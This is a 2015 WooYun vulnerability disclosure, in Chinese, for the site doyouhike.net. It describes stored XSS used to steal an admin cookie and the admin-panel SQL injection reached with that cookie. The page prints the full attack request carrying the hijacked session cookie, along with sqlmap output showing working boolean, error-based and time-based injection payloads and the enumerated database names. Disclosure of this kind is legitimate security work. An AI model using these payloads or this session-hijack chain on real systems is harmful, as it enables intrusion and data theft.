当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0165799

漏洞标题:磨房网XSS打入后台(附后台SQL注入)

相关厂商:doyouhike.net

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-12-29 17:54

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:XSS 跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-29: 细节已通知厂商并且等待厂商处理中
2015-12-30: 厂商已经确认,细节仅向厂商公开
2016-01-09: 细节向核心白帽子及相关领域专家公开
2016-01-19: 细节向普通白帽子公开
2016-01-29: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

求几个磨小驴这么难吗?

详细说明:

在添加线路那:http://www.doyouhike.net/route/go_add_base

0.png


线路名称和简介那 可插入XSS语句 由于本地字数限制 so 我们可以先随便写点东西 然后抓包 修改参数数据(这里就不演示了)
打到的cookie值

1.png


然后我们用打到的cookie登录 这里用的Burp 所以每次都要带cookie 传送 很麻烦

2.png


后来翻到了这:http://admin.doyouhike.net/index.php/file/index

3.png


于是猜测这里有sql 然后跑了下 果然···

4.png


POST数据包:

POST /index.php/file/index HTTP/1.1
Host: admin.doyouhike.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://admin.doyouhike.net/index.php/file/index
Cookie: _ga=GA1.2.1307204639.1422239151; pgv_pvi=1215990784; PHPSESSID=pd623ngga79popiagnh3j2isb6; __utma=151782572.1307204639.1422239151.1451366675.1451377270.1366; __utmb=151782572.5.10.1451377270; __utmc=151782572; __utmz=151782572.1451377270.1366.636.utmcsr=admin.doyouhike.net|utmccn=(referral)|utmcmd=referral|utmcct=/index.php/route/index/reviews
X-Forwarded-For: 8.8.8.8'
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
user_name=*&file_name=


漏洞证明:

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 195 HTTP(s) r
equests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: user_name=' AND 2981=2981 AND 'KRGQ'='KRGQ&file_name=
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: user_name=' AND (SELECT 7778 FROM(SELECT COUNT(*),CONCAT(0x716a7871
71,(SELECT (ELT(7778=7778,1))),0x716b787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_
SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'TkvV'='TkvV&file_name=
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: user_name=' AND (SELECT * FROM (SELECT(SLEEP(5)))kDsx) AND 'Zfor'='
Zfor&file_name=
---
[17:12:46] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0
[17:12:46] [INFO] fetching database names
[17:12:47] [INFO] the SQL query used returns 5 entries
[17:12:47] [INFO] retrieved: information_schema
[17:12:47] [INFO] retrieved: bizrc
[17:12:47] [INFO] retrieved: click
[17:12:47] [INFO] retrieved: g3rc
[17:12:47] [INFO] retrieved: sphinx
available databases [5]:
[*] bizrc
[*] click
[*] g3rc
[*] information_schema
[*] sphinx
[17:12:47] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 179 times
[17:12:47] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\admin.doyouhike.net'
[*] shutting down at 17:12:47

修复方案:

由于每次都要带 cookie 进行传送 很麻烦 就不继续测试其他后台功能了

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-12-30 10:50

厂商回复:

漏洞已经确认,感谢作者

最新状态:

暂无